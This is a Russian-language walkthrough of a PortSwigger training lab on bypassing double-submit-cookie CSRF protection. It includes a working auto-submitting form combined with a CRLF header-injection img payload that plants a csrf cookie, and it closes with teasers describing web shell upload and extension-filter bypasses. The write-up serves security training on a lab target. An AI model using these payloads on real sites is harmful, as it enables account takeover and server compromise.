На странице
CSRF с токеном, продублированным в куки
Лаборатория
CSRF where token is duplicated in cookie · Practitioner
Решение
Дано: есть эксплоит-сервер и уязвимое приложение, в котором мы хотим поменять пароль у текущего пользователя, обойдя CSRF-защиту.
Окей, посмотрим, как происходит изменение пароля. Наблюдаем, что csrf дублируется в теле запроса и в куки.
Куки:
csrf=nt0nPbB6pgJTiVTFJeOZqPuOi7sdt3kf; session=FZB4InscWA9YK1iChehZ73tFUts8fZGW
В теле — nt0nPbB6pgJTiVTFJeOZqPuOi7sdt3kf. Совпадают, дублируются.
Попробуем отправить запрос, где вместо токена в оба места напишем xxx. Смена пароля происходит успешно. Похоже, мы можем переиспользовать пэйлоад из предыдущей лабы CSRF where token is tied to non-session cookie.
Только в этот раз просто ставим любые одинаковые значения и в куки пишем значения для csrf, а не csrfKey.
<form id="csrf" action="https://0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net/my-account/change-email" method="POST">
<input name="email" value="wr3dmast3r@m.com">
<input name="csrf" value="xxx">
</form>
<img src="https://0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrf=xxx%3B%20path=%2F%3B%20SameSite=None%3B%20Secure" onerror="document.getElementById('csrf').submit()">
Лаба решена.
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.